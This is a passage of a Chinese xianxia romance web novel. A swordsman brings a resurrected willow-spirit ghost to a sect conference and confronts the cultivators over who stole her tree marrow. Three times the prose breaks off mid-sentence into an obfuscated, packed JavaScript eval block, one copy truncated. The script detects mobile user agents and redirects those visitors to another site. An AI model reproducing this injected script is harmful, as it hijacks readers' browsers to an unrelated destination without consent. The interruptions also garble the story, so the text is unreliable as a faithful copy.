她说着,又向青衍仙尊行礼:“仙尊大人,多谢您!” 焦木不能复苏,继续留下,没有意义。 谢清尘带柳音离开北弥山。 脚下长剑在苍茫浮云间疾驰,浩瀚长空冷风烈烈,柳音裹着厚厚的狐皮大氅,靠在谢清尘怀里取暖。 她仰起头,能看到他的俊脸冷冰冰的,线条流畅而锋利的下颌线紧绷着,眸光沉得骇人。 “你要带我去哪?”她问。 “云麓仙宗。”谢清尘言简意赅。 “云麓仙宗……不是在开斩蛇大会?”柳音迟疑道,“你们去那里干正事,带我去合适吗?” 不管怎么说,她现在是一只半死不活的妖鬼,去到那一群仙人中间,着实有些打怵。 嘴角逸出一丝冷笑,谢清尘寒声道:“正合适。” 他眯起眸子,语气凉飕飕的:“就因为开斩蛇大会,所有仙门都在场,到得很齐全,那个抽你树髓之人,应该就在其中。我带你去会会他们,看看那个人,究竟是谁。” 柳音从他的话中听出一股肃杀的冷意,身上不由冒起一层鸡皮疙瘩。 “可我什么都不记得。”她不免有些担心。 “没关系。”谢清尘垂眸看着她,眼神残酷又温柔,“云麓仙宗那边,山川壮丽,物产丰饶,你玩你的,其他交给我。” 两日后,到了云麓仙宗。 青色石阶蜿蜒而上,两侧群峰山峦耸翠,有仙鹤在虬枝间清越鸣叫。山门后,白色玉石铺就的问道广场辽阔如镜,中央矗立着门规祖训碑,沐经千年风雨,正气凛然。 谢清尘带着柳音踏进山门那一刻,一个消息就在四处飞散,很快便传得人尽皆知:无尘剑尊带来一个很漂亮的女人。 没让他们迟疑多久,很快,谢清尘带着柳音,缓步走进议事大殿。 一白衣,一绿裙,白衣若雪,绿裙如玉。 两人并肩站在一起,格外惹眼。 霎那间,整个大殿里的人,有一大半都变了脸色。 因为他们都认出那个漂亮女人是谁。 “我、我没看错吧,她是……柳音?” “是那个柳树妖?她不是早已经死了?” “怎么可能?我亲眼看到她的尸身被投入火中,烧成一块焦木……” “快看她脚下,她没有影子!” “天呐!她竟然是鬼?可她怎么不怕日光?” “她是锁魂鬼,谢清尘给她用了锁魂引。” “难道他去了阴间?谢清尘疯了吗?他把地狱里的鬼带到这里干什么?” “听说柳音当初爱惨了无尘剑尊,最后却被他所杀,他们不应该是仇人吗……怎么会在一起?” …… 满堂窃窃私语中,谢清尘迎着万般目光,淡声道:“在座诸位,想必都认识她,我就不介绍了。” 这话一出,整个大殿霎时一静。 每个人脸上的神色都很复杂,很精彩。 “柳音!”从左边忽然冲过来一名蓝色裙衫的俏丽女子,紧紧抓住柳音的双肩,红着泪眼惊喜道,“真的是你!” 柳音茫然地看着她,有些不知所措。 谢清尘客气道:“灵潇仙子,你们云麓这边的雪柿子好吃,劳烦你带她去尝尝。” 霍灵潇连忙点头,紧紧握住柳音的手,拉着她快步离开大殿。 柳音的身影消失以后,整个议事大殿里依旧静得落针可闻。 显然,众人都想起三年前的那一天。 一时间死气沉沉,气氛十分凝重。 片刻之后,坐在上首的道玄仙尊目光审视着谢清尘,率先打破沉默:“无尘,这是怎么回事?” “如您所见。”谢清尘站在那里,不卑不亢,“柳音身未死,魂未消,所以我把她带回来。” “那柳音……是个好几百年的柳树妖,谁知道有多少个枝杈?当年可能没烧完?” “就算折根柳条插在水里,她就还有身体存在,的确可能继续存活……” 周围低声议论纷纷:“可那不是重点吧?问题是,他为什么要把那妖女带回来?” “一个柳树妖,还是个死了的妖鬼,值得如此大动干戈?” “因为她漂亮呀!我要有这么漂亮的小妖精,我也舍不得她死,养着玩儿有何不可?” “我怎么听说……无尘剑尊即将和他师妹结契?不然曾夫人怎么会那么信任他,将蓬莱事务都交给他处理?” “沐玥瑶可是陵光仙尊的独女,也是蓬莱仙宗未来的宗主,谢清尘若是娶了她,至少能坐上一把长老的交椅……可他又和那妖女混在一起,究竟想干什么?” …… 只听满大殿窃窃私语,越说越不像话,道玄仙尊重重咳嗽一声,提醒道:“既然是无尘的私事,外人就不必置喙了。” 他立即改换话题,问谢清尘:“以你所知,那夤蛇的杀招是什么?我们用伏雷阵法是否可行?” 谢清尘曾经亲眼目睹夤蛇与他师尊陵光仙尊对战,而陵光仙尊不幸落败丧命。 想起往事,他敛着眸子,沉声道:“夤蛇能将落下的雷电吞入腹中,所以雷阵对他无用。只是彼时修为尚浅,我实在没有看清他的杀招究竟是什么。” 众人的思绪被拉到夤蛇那边,一时间唏嘘不已,或皱眉思索或惆怅担忧,都在担心那夤蛇不好对付。 “不过……”谢清尘打量众人,继续道,“夤蛇的杀招不重要,重要的是他的弱点和命门在哪里。” “没错。”太华剑宗的宗主商炎阙虬须美髯,声如洪钟,赞同道,“打蛇打七寸,就算蛇妖也一样。我们修建四方阵,最主要是考虑,怎么才能困住他的妖力。” 博古通今、广有学识的罗浮门长老谷长裕附和道:“要想困住夤蛇的妖力,那就要从他的内丹入手。只要毁掉他的内丹,不管他有什么杀招都无用。” 嘴角轻扯,谢清尘望向他:“真人明鉴,无尘有一事请教。” “剑尊客气了,请讲。”谷长裕面白无须、身材圆胖,年纪虽然不算老迈,但也属于前辈。只是他的修为才刚到真境第四重,远不及谢清尘,所以也不敢在他面前托大,说起话来十分客气。 “如真人所说,夤蛇最要紧的,是他的内丹。”清俊的面庞波澜不兴,谢清尘缓缓踱着步子,不紧不慢道,“假如不是蛇妖,而是花妖,花妖最要紧的,是什么?” “花……妖?”谷长裕面色迟疑,带着不解“应该是子房。” “那树妖呢?”谢清尘紧跟着又问,“树妖最要紧的,是什么?” “树妖最要紧的,自然是树髓!”白胖的面皮隐隐发红,谷长裕站起身,似乎动了气,“剑尊问这些显而易见的问题,是想戏弄老夫吗?” “无尘不敢。”谢清尘目光平静地看着他,“在下还想请教前辈,如果一个人拿到一个树妖的树髓,能有什么用?” “树髓?”谷长裕听他没再继续问傻问题,气也便消了,抬手摸摸没有胡须的下巴,思索道,“树妖的树髓不像蛇妖的妖丹,不是气血之物,若是拿来吞入腹中,炼化吸收,只能勉强增加几个月修为……除此之外,没有其他作用了吧?” 凡是踏入仙门的修者,每突破一重境界,少不得好几十年。 仅凭一点树髓来增加几个月修为,实在是杯水车薪,不堪一提。 俊冷的面庞看不出喜怒,谢清尘转而看向其他人,语气谦逊道:“各位仙长,能否赐教?树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991904|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖的树髓,除了能增长一点修为,还能有什么用处?” 药神谷的谷主温灵素年纪和谷长裕差不多,但是保养得十分得当,看上去恰似个妙龄女子,水葱般的指尖在桌面上轻点几下,慢悠悠开口:“要说这树妖的树髓,也不是没有别的用处。比如那些木灵根的修者,若是先天资质不足,能靠吸收树妖的树髓,获取很大提升。” “温谷主说的在理。”合欢宗的宗主姬偃月生得花容月貌,说话也柔声细气的,“早几百年前,我曾遇见过一个散修是水灵根,但是资质一般。后来,他不知道从哪里学到的法子,连续喝了好几头水樨兽妖的血,资质填补到上乘,在西境边陲着实风光了一阵子。” 无极阁的大长老苍道子神色老成,啧声道:“用妖物进补就是缺什么补什么,老朽也曾有所耳闻。就像水樨兽妖的血补水,赤狐妖的心补火,夔牛的角补土,树妖的树髓自然也可以补木。无尘你为何突然执着于此,难道是有树妖的……” 话刚说到一半,苍道子忽然意识到不对劲,连忙咬住舌头卡在那里,对上谢清尘那一双冰冷沉郁的眼睛,不由猛地一激灵,背心隐隐冒出冷汗。 周围众人也渐渐回过味来,隐约猜测到那个可能,一时间每个人都闭紧嘴巴,恨不能将刚才说过的话再重新咽回去。 “树髓能补木,我记住了。”薄削的嘴角略微上扬,谢清尘目光划过那些人,落到太华剑宗的少宗主商进焉身上,语气低淡道,“商少宗主,听说你是木灵根?” “谢清尘,你这话是什么意思?” 太华剑宗的宗主商炎阙重重冷哼一声,虬髯国字脸十分不悦:“我儿是木灵根又怎样?与你有什么关系!” “也没什么意思。”谢清尘似笑非笑地看着他们父子俩,淡声道,“只是柳音的树髓被人偷走,不知道是不是被你们少宗主给进补了?” 这话一出,满大殿众人脸色都难看极了。 “无尘!”坐在上首的道玄仙尊面色严厉地盯着他,“慎言!” 商进焉年纪轻轻又心高气傲,当即气红了脸,豁然站起身:“谢清尘,你可不要血口喷人!我什么时候拿树髓进补了?” 他父亲商炎阙更是冷笑一声,虬须美髯威风凛凛,声如洪钟:“太华剑宗别的没有,天材地宝倒多得是!我儿若想提升木灵资质,要什么宝物没有?哪里会稀罕一根小小的树髓?” “前辈说的有理,那我再看看别人。”谢清尘点点头,一副被说服了的样子,缓缓踱着步子,又向其他人看去,淡漠的目光打量着,仿佛要在人群中寻找下一个木灵根。 一时间,那些木灵根的修者们无不提心吊胆、身冒冷汗,缩着脖子不敢抬头,生怕被他抓到。 “无尘。”道玄仙尊瞬移到谢清尘身旁,抬手按住他的肩,“猎杀吞吃妖物这种提升资质和修为的方式,历来为我们仙门正道所不耻,早在几百年前就被严令禁止!那位……柳姑娘的树髓被偷,只怕其中有误会。此事还需从长计议,万万不可随意怀疑,伤了我们仙门的和气。” 他说着,又向蓬莱仙宗那边的孟湛递了个眼色。 孟湛正在看他师兄发疯,正惊讶得不知所措,一下清醒过来,连忙急匆匆去搬救兵。 “误会?”谢清尘看向道玄仙尊,“您觉得会是什么误会?” 他的目光冷冰冰的:“如果我没记错的话,仙尊您也是木灵根?” 这话一出,众人齐齐色变,都觉得谢清尘大概是疯了。 他竟然还敢怀疑道玄仙尊? “无尘。”道玄仙尊要被他气笑了,默默摇头,叹息道,“你若不信,可以进我的灵府去看。只是其他人,恐怕未必会让你如此。你再这般下去,难道要与整个仙门为敌?” 狭长的眼尾暗藏着浓重的郁气,谢清尘盯着道玄仙尊,一字字道:“既然仙尊成全,那就请恕无尘冒犯了。是与不是,我总要看过才知道。” 雪白的寿眉微微翕动着,道玄仙尊站在那里,眼看谢清尘的神识就要冲进他的灵府,忽然传来一道年迈的女声呵斥道:“无尘,够了!” 曾夫人被沐玥瑶和孟湛一左一右搀扶着,急匆匆走进大殿,堆满皱纹的眼角满是担忧地看向谢清尘,呵斥道:“你来这里是做什么的?你还想不想为你师父报仇了?你再这么闹腾下去,四方阵也别建了,就等着夤蛇把我们所有人都杀光了吧!” “师兄……”沐玥瑶一脸快要哭了的表情,拉着谢清尘的衣袖,轻轻摇了摇。 薄削的唇角紧抿着,谢清尘慢慢收回灵力,转身道:“对不住各位仙长,今日是无尘孟浪了。” 他缓缓走到门口,托住曾夫人的手臂,低头道:“师娘,我送您回去。” 曾夫人叹息一声,默默摇头,步履蹒跚地转身,离开大殿。 直至走下丹墀,她又开口道:“既然已经回来了,带她来见我吧。” 8. 008 柳音跟着霍灵潇离开议事大殿,一路向后山行去。 穿过幽静的回廊,只见远处悬潭飞瀑,有很多弟子在那峭壁下练剑,随着重重亭台楼阁渐渐远去,云遮雾绕的山林间显露出一片柿子林,千万只红彤彤的柿子悬挂在枝头,上面顶着一层积雪,在雪茫茫的山野间,煞是热闹。 抬手摘下一颗柿子,递给柳音,霍灵潇红着眼睛带着哭腔道:“给,吃吧,想吃多少吃多少!我就说等你来了,柿子管够,我没骗你吧!” 两手托着那颗沉甸甸的大柿子,柳音不知道说什么好,干脆低头吃柿子。 咬上一口,甜津津的汁水瞬间弥漫在唇齿间,实在是个美味佳果。 柳音满足地舔舔嘴唇,向霍灵潇道谢。 霍灵潇满脸诧异,像不认识她了似的。 柳音便朝她笑笑:“不好意思,我失忆了,以前的事都不记得了。” “你失忆了?”霍灵潇瞬间瞪大眼睛,盯着她来回打量,不甘心道,“那你还记不记得我以前总欺负你?记不记得我故意撞你,把你做的蓝月簪摔碎了?记不记得我和你一起掉进达摩窟,我想把你甩掉,自己离开,可是不小心摔断腿,最后是你背着我走了三天三夜,把我从深渊底下背出来?” 看着霍灵潇通红含泪的眼睛,柳音默默摇头,微笑道:“我不记得了。” 霍灵潇扁了扁嘴,转过脸去不看她,闷声闷气道:“不记得就不记得,不记得也好!” 柳音笑眯眯道:“现在我记得了,你有很多很好吃的雪柿子,能不能多给我几个?” 霍灵潇正偷偷擦眼泪,闻言又忍不住被她逗得扑哧一下笑出声来:“就知道吃,你怎么还是这么馋?回头让薛怀安给你瞧瞧,肚子里是不是遭了馋虫!” 嘴角笑容一滞,柳音怀疑自己听错了:“你说谁?让谁给我瞧瞧?” “薛怀安呀,怎么了?”霍灵潇诧异着,马上明白过来,“对了,你不记得了……薛怀安是我十一师兄,他不仅修为高武艺好,而且很擅长医术,比起药神谷那些医师都不遑多让!我摔断腿那次,就是他给我接的骨,你看我现在能跑能跳,跟没事人一样!” 她围着柳音又跑又跳,展示那双好腿,眼中的神采得意又自豪,脸颊上还有一丝微微的、掩藏不住的红晕。 柳音抓住她的手,不由有些激动。 这个薛怀安也懂医术,他会不会就是黎娘一直在等的夫君? “你说的薛怀安,他是什么来历?”她试探着问,“能不能跟我说说?” 见柳音对薛怀安感兴趣,霍灵潇顿时来劲儿了,拉着她坐到亭子里,兴致勃勃道:“薛怀安是我师父的小儿子,从小就天赋异禀,资质是我们师门里面最好的!我还记得小时候我们一起去后山玩,遇到一只黑熊精,那熊可凶了,但是十一师兄一点都不怕,他冲上去……” 听着霍灵潇滔滔不绝地讲述她这位十一师兄的英勇事迹,柳音越听越不对劲。好不容易等到她中间喘气的间隙,柳音连忙插嘴问:“也就是说,你十一师兄从小就在云麓仙宗长大,从未离开过这里?” “对呀!”霍灵潇点点头,“怎么了?我十一师兄哪里不对吗?” 柳音失望地摇头:“没事,我就随便问问。” 看来这个薛怀安并非她要找的人,只是名字相同而已。 霍灵潇也没多想,又盯着她仔细打量:“那你呢?你现在怎么样?怎么会跟谢清尘在一起?” “他去阴曹地府找我,给我锁魂引,然后我就回来了。”柳音耸耸肩,漫不经心地想着,谢清尘能让霍灵潇带她走,想必是可信的,所以也没隐瞒。 霍灵潇倒吸一口凉气,忍不住啧声道:“听你说的,好像他去阴曹地府是去了趟集市一样。你……你已经原谅他了?” “算是吧。”柳音扯出一个笑,“他都去阴曹地府找我了,又不是去了趟集市。” “其实……”霍灵潇握住她的手,话刚出口,忽然看到谢清尘来了,投向她的目光透着一丝警告的冷意,她不由心头一凛,连忙将未尽的话全都咽回去。 柳音顺着她的目光,回头看去。 只见挂满柿子的雪地,谢清尘一袭衣袍比雪还要白,漆黑的眼眸静静凝望着她,里面有种掩藏不住的痛楚又复杂的情绪。 柳音隐约感觉出,他似乎不太开心? 不开心的美男子,衬着这样清幽雅致的雪景,有种别样的清冷和凄美。 她坐着没动,笑眯眯地打量他,直到谢清尘走到她面前,向她伸出手:“师娘要见你,我带你去。” 告别霍灵潇,柳音跟着谢清尘去山外峰,蓬莱仙宗借住的客舍。 一进正院,只见四处忙忙碌碌,很多弟子们正在忙着收拾箱笼,似乎是要离开的样子。 靠窗的梅花树下,摆着一把紫檀木八仙椅,坐着头发花白的曾夫人。 她的面皮清瘦发黄,看上去有些气血不足,眼角堆叠着层层皱纹,眼神沧桑而又疲惫。 “你的剑又慢了。”她正指点在院子里练剑的沐玥瑶,语气不满道,“荧惑守心紧跟着抱鹤飞鸢,你在迟疑什么?” 沐玥瑶咬紧唇,正要重新再练一遍剑招,忽然看到谢清尘来了,她含着泪花的眼睛顿时露出笑意,刚叫了一声“师兄”,目光瞥到随后而来的柳音,那眼中的笑意顷刻而散,紧紧抓住自己的剑,转身就要离开。 “玥瑶!越来越没规矩了!”曾夫人呵斥道,“你师妹回来了,也不问候一声?” 沐玥瑶攥紧手中的剑,转头看向柳音,敷衍地叫了一声“师妹”,然后也不等柳音回话便头也不回地走了。 原来她就是沐玥瑶,谢清尘的那个宝贝师妹。 柳音看得稀奇,看来自己以前活着的时候,把这位师姐得罪得不轻,竟然这般讨厌她。 估计是因为谢清尘的缘故,好端端的两个姑娘,为一个男人打起来了,果然美色是祸水。 曾夫人无奈地叹息一声,抬手叫柳音过去。 “你……失忆了?”她盯着柳音打量,慢慢红了眼眶,握住她的手,酸涩道,“怪师父不好,没能护住你的树身,竟然被那般宵小偷去树髓。” 柳音不知道说什么好,犹豫了一会儿,还是叫了一声:“师父。” 握住她的手越发收紧,曾夫人点点头,滚烫的热泪洒落下来。 柳音感觉有些复杂,仿佛眼前这一幕似曾相识。 许久之后,收住泪意,曾夫人看向谢清尘,年迈的声音带着疲惫道:“她现在这样,是妖又是鬼,留在这里不安全……不如随我回蓬莱。你留在这里,将四方阵的事处理好,有你在,我放心。” 谢清尘面色平静道:“师娘身体不适,远来这一趟,已经耗费不少心力,早些回去休养也好。只是柳音不能走,我想让她留在身边,还请师娘谅解。” 曾夫人摇摇头,满眼的不赞同:“你也是被称作‘剑尊’的人了,今日闹这么一出,就不怕别人说你被美色迷了心窍?这斩蛇大会是忙正事的地方,多少紧要事务要处理,你把她带在身边,叫旁人怎么想?” “我不在意。”谢清尘坚持道,“她在我视线之内,我才能放心。” 眼角的皱纹仿佛又多了好几根,曾夫人无奈地叹息一声,转而看向柳音:“你是听话的,跟师父回蓬莱去吧。这里人多眼杂,阳气又重,不是适合你待的地方……他发疯,你可不能跟着糊涂。” 谢清尘看向柳音,没说话,似乎也想听听她自己的意思。 柳音自然不想离开,她只想跟谢清尘在一起。 这美男子的滋味她还没尝到呢,若是去了蓬莱,再见面还不知是何年何月。 “不瞒您说,我已经没有多少时日了。” 她看着曾夫人,微笑道:“就算去了蓬莱,我也活不久,不如留在这里,多些见闻,长长见识。” 见她自己不想走,曾夫人也不好强迫,只能默默叹息,拉着柳音来回叮嘱,叫她万事小心。 傍晚时分,向主家辞行过后,曾夫人带着沐玥瑶和半数蓬莱弟子提前返程,留下谢清尘处理未尽事务。 送走曾夫人的仙舟,谢清尘带着柳音回到住处,直接将她带回他的房中。 “我们……要住一间房吗?” 柳音心中欢喜,面上却不好表现得太过明显,努力矜持着。 “你休息,我来守夜。”谢清尘推开半扇窗,凝视外面的夜色,“四方阵的图纸已经绘制完成大半,剩余部分,最多还需一个月。” 他转身看向柳音,沉声道:“在这一月之内,那人一定会想办法除掉你。所以从现在开始,你需要寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢清尘的卧室后面有浴房,放完热水,他便出去了。从映在窗纸上的影子看,他就站在门外守着。 柳音脱了衣服,在温暖的池水中游来游去,撩着水花玩得不亦乐乎。 可惜缺点花瓣,还缺点酒,若是能与美男子共浴就更好了。 白皙漂亮的脸庞被热气熏染出一层绯霞般的红晕,柳音换上一身轻薄柔软的湖绿色裙衫,走过去拉开房门,让谢清尘进来。 “用布擦太慢了,你帮我烘一下头发吧。”她坐到凳子上,将湿漉漉的长发全都拨到身后,眼波盈盈地望着他。 房间里的空气也湿漉漉的,带着一股清新的香气,弥漫在橘色柔和的灯影下,像是一片如烟似雾的梦境。 谢清尘指尖微捻,迈步走到她身后,轻轻撩起她的发丝,另一手掌心散发出热力,一点点为她烘干长发。 湿热氤氲的水汽中,从她身上传来的清幽香气越发清晰而勾人,谢清尘用修长的手指慢慢梳理着她丝缎般的长发,然后顺着那纤细白皙的脖颈,滑落到她的肩头。 柳音感觉到按在她肩头的那只手掌温热而有力,她轻轻侧首,在他手背上蹭了蹭脸颊,诱惑和邀请的意味已经十分明显。 谢清尘一眼不眨地看着她,漆黑的眼眸如夜色般幽深,下一瞬,他抬手将她横抱起来,缓缓向床边走去。 素白纤细的手臂顺势搂住他的脖颈,柳音看着他清俊如玉的脸庞,心跳不禁加快起来,又紧张又期待。 然而谢清尘将她抱到床上放好,紧接着便拉起旁边的薄被,将她盖起来,还贴心地为她掖好两边被角。 “安心睡吧。”他将她额前散乱的发丝拨到一旁,指尖轻蹭她的脸颊,“不用怕,有我在这里,没人能伤到你。” 眼看他就要起身离开,柳音快速抓住他的手,不甘心道:“有你在,我自然不怕,可你为什么要离我那么远?” 她幽幽地望着他,攥住他的一根手指,指尖用力掐了几下:“你之前说,怕把我的柳哨弄坏,所以不敢和我太过亲近。可我的柳哨现在已经好了,你为什么还是躲着我?你是不是不喜欢我了?” 似是没想到她竟这般直接,白净的耳根隐隐有些发红,谢清尘垂眸看她,语气认真道:“自然不是……只是不能太过草率,你等我做些准备。” 柳音眨着水汪汪的大眼睛,盯着他不放:“你要准备什么?” “定元丹。”他的嗓音低低的,“万一你有危险……可以救命。” 柳音哦了一声,看来这美色今晚是吃不到了。 她忍不住打了个哈欠,慢慢闭上眼睛,拉着他的手摇了摇,还想再叮嘱几句,可是话还没出口就睡着了。 她做了一个梦。 9. 009 沉沉的梦境像一张网,柳音梦到她落选了,不够资格拜入蓬莱仙宗。 那位负责考核弟子资质的山羊胡长老十分严厉,任她怎么乞求都不肯松口。 “你五识不明,五蕴未开,根本不适合修行。”山羊胡长老冷漠道,“赶紧离开吧,别在这浪费时间。” “那我能不能做外门的杂役弟子?”柳音眼巴巴地望着站在他身后不远处的那道颀长身影,恳切道,“我可以做杂活,求您让我留下来!” “你这细胳膊细腿,能做什么杂活?”山羊胡长老不耐烦地摇头,正要赶她走,忽然从人群后面走出一位雍容华贵的妇人,盯着柳音看了一眼,笑眯眯道:“叫这小丫头跟我吧,正好跟玥瑶做伴。” 那就是曾夫人,蓬莱仙宗已逝宗主的遗孀,也是整个宗门实际的掌事人。 她亲自为柳音疏通穴窍、明识开蕴,教她修行入道开悟,是柳音的师父。 师父对柳音很慈爱,很温柔,除了带她修行、教她课业,还会教她读书识字,给她缝制衣裙,为她做糕点煮甜汤,细心为她安置一切。 师父对她,就像对沐玥瑶一样,甚至比对沐玥瑶还要好。 师父对沐玥瑶十分严厉,但凡出错就会受罚,而师父对她却总是温柔细语,从不曾责备过一句。 柳音觉得,师父就像那些在她的树荫下乘凉的妇人一样,手中做着针线,眼睛却不忘追着四处乱跑的娃娃,生怕娃娃摔倒,当娘的会心疼。 “娘”这个字,柳音十分陌生。 她无父无母,不知道是哪里吹来的一颗种子,落地生根发了芽。 如果她也有娘的话,应该就是师父这样吧。 柳音看着雍容华贵、风采动人的师父,她的乌发如鸦羽一般黑亮,丰润的肌肤像凝脂般的白玉,眸光清亮,笑容温婉,是名动九州的绝色美人。 可是再见面,师父的头发为什么全都白了?眼角为什么堆叠着那么多的皱纹?曾经那般美丽的师父,为什么不见了? 眼睛酸涩难受,柳音慢慢睁开眼帘,盯着帐顶,怅然若失了好一阵子。 那些梦境,应该是她过去的记忆吧。 梦境里的师父,对她很好,就像亲生母亲一样。 也许她不该对曾夫人那般冷漠疏离。 心里默默叹息,柳音拉开床帐,四下扫了一圈,却没看到谢清尘。 她起身走到房门口,想要推门出去,可是门却打不开。 门外有一道无形的结界,将她牢牢困在房中。 柳音皱了皱眉,抬手用力捶打。可她如今毫无灵力,对那结界根本无可奈何。 正在她一筹莫展时,谢清尘忽然凭空闪现在她眼前。 “睡醒了?”他打量她,问饿不饿。 柳音没什么胃口,摇摇头:“你去哪了?” “在大殿议事。”谢清尘解释道,“今天要做阵法演示,还没做好。” 柳音听得新奇:“我能去看看吗?” 谢清尘点点头,拉起她的手,只一眨眼便瞬移到议事大殿,将她带到蓬莱仙宗所在的位置。 “师兄。”孟湛一头卷发扎束在脑后,肤色微黑但身形精健,他站起身看向柳音,忍不住红了眼圈,努力挤出一个笑,“柳师妹。” 柳音不记得他,只点了点头,再看他身后那些蓬莱弟子,同样一个都不认识。 谢清尘让她坐下,自己便去忙了。 柳音能感觉到,整个大殿里所有人都在看她。 或明目张胆,或悄悄窥视,各种复杂难言的目光,都盯在她身上。 “谢清尘怎么把她带来了?她可是妖,怎么能知晓我们阵法的机密?” “无尘明知道她是妖,还如此行事,究竟意欲何为?” “她都已经死了,又没有树髓,不过是个锁魂鬼罢了,就当是剑尊自己留个念想吧……” “她虽然是锁魂鬼,但也是半个活人,万一去向妖族告密怎么办?” “谢清尘在这里,出了事自然有他负责,你有什么可担心的?” …… 周围的窃窃私语声不绝于耳,谢清尘像没听到一样,缓缓走到高台上方站定,抬眸瞥向其他人:“继续?” 处于木阵方位的道玄仙尊清咳一声,淡淡道:“诸位道友,继续吧。” 随着一道绿色光芒升起,很快从其他方位依次浮起一道道彩色光芒,缓缓汇聚到中央,将他们几个人笼罩在其中。 金木水火土,五行相生相克,佐以风雷二阵,那光球之下似有万千星河流动,荧光幻彩,神秘莫测。 谢清尘修的是雷系术法,以剑引雷如雷霆万钧。他站在高台之上,烈风鼓动着他的衣袍,乌黑的墨发在风中飞舞,狭长的凤眸半垂着,神情专注,淡然而平静,犹如睥睨众生的神祇,孤身立于雪山之颠。 柳音盯着他看了一会儿,又转头打量其他人,只是看来看去,总觉得哪个都不如他好看。 长得白净的身量不够高,个头高挑的又相貌不出众,出众又俊俏的稍微有点驼背,不丑也不驼的偏生又是个捏兰花指的娘娘腔。 唯一还算养眼的,是坐在对面的一位金尊玉贵的小公子,衣饰华贵又浮夸,手中摇着一把折扇,浑身上下一股傲气,看上去像个金灿灿的花孔雀。 似乎感觉到她打量的目光,对面那小公子恶狠狠瞪了柳音一眼,仿佛与她有仇一样。 柳音眨了眨眼,不知道她何时得罪了那花孔雀? 她正纳闷的时候,霍灵潇悄悄跑到这边来,挨着她坐下,又递给她一个纸包,里面是香喷喷的杏仁酥。 柳音咬着杏仁酥,满口生香,边吃边问,对面那人是谁? “他呀!”霍灵潇瞧了一眼,啧啧两声,“太华剑宗的少宗主,九阙剑尊的宝贝疙瘩,商进焉。” 柳音疑惑道:“我跟他有仇吗?他为什么一直瞪我?” 霍灵潇抬头看去,果然见那商进焉时不时盯着柳音,眼神恶狠狠的,脸色十分不善。 她恍然明白过来,把谢清尘当众怀疑商进焉偷树髓的事讲了一遍。 柳音听完就不担心了,感觉那花孔雀是个情绪都挂在脸上的二愣子,应该干不出偷她树髓的事,傻兮兮的,不足为虑。 “我养的母猫刚落下一窝小猫,都是三花的,可爱死了!”霍灵潇扯着柳音的袖子,小声嘀咕,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991906|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你要不要去看看?喜欢的话,我送你一只!” 柳音一听眼睛就亮了,她就喜欢毛茸茸的小东西:“走呀走呀!” “等会儿!”霍灵潇连忙拉住她,用下巴指指高台上面,小声道,“师父带我们来学习阵法,现在还不能走,回头你去柿子林找我。” 说完她便又悄悄溜走了。 柳音又向高台上方看去,谢清尘他们似乎遇到了麻烦,正在来回调整五行风雷方位,一直忙到傍晚太阳快要落山的时候方才结束。 看到谢清尘回来了,柳音拉着他赶紧走,迫不及待要去柿子林看小猫。 不想才刚走出大殿,就被拦下了。 横在路中央臭着脸的那个人,正是那花孔雀商进焉。 太华剑宗地处中原地带,灵产丰饶,极是富庶,堪称九州仙门十三宗里面实力与势力最强大的一方。 作为太华剑宗的少宗主,商进焉是出身显赫的天之骄子,走到哪里都前呼后拥,一群拥趸。 只见他领着一帮人横在路中央,拦住谢清尘和柳音的去路,气焰灼灼,十分嚣张。 “商少主,这是何意?”谢清尘面色冷淡地看着他。 “谢清尘,你少装蒜!”商进焉昂首挺胸,指着他的鼻子骂道,“今早晨你干了什么,你是不是忘了?你凭什么把我定住?凭什么查看我的灵府?你知不知道什么叫冒犯?还不快给本少主道歉!” 他后面那一群跟班也纷纷跟着指责: “就是啊!哪能随便看别人的灵府?这跟脱别人的裤衩子有什么区别?” “就算你是剑尊,也不能这么无礼吧!你们蓬莱仙宗了不起啊!” “对!这事必须有个说法!不然我们就去找道玄仙尊告状!” 商进焉从鼻子里冷哼一声,大摇大摆走到前方,恶狠狠盯着谢清尘:“姓谢的,我爹是长辈,不屑跟你计较,本少主可没有那么好脾气!今天这歉,你道也得道,不道也得道!否则可别怪本少主不客气!” “对!姓谢的,快给我们少主赔礼道歉!” 跟班们粗着嗓门大声叫嚷,又吸引来更多人围观,一时间四周都是指指点点,议论纷纷。 冷漠的目光淡淡扫过那剑拔弩张的一群人,谢清尘抬手一挥,刹那间,所有人全部定住。 他缓缓走到叫嚷得最大声的那名跟班面前,垂眸睨着他,淡声道:“你也是木灵根?” 那跟班眼神惊恐,额头冒出涔涔冷汗,可是身体被定住,他喊不出声音也无法逃跑,只能眼睁睁看着谢清尘在他眉心虚点,然后便毫无阻碍地进入他的灵府,将他的底细看得一清二楚。 看完这一个跟班,谢清尘又踱着步子,缓缓走到另一个围观的旁门弟子面前,语气凉薄道:“还有你。” 所有被定住的百十号人中,有三个木灵根。 谢清尘依次查看过后,淡淡道:“对不住各位,冒犯了。” 话音落下,那定身术随之解除,所有人都能动了,可是他们全都煞白着脸站在那里,一个字都不敢多言。 “走吧,去看小猫。” 谢清尘牵起柳音的手,带着她绕过那群人,缓缓向柿子林走去。 10. 010 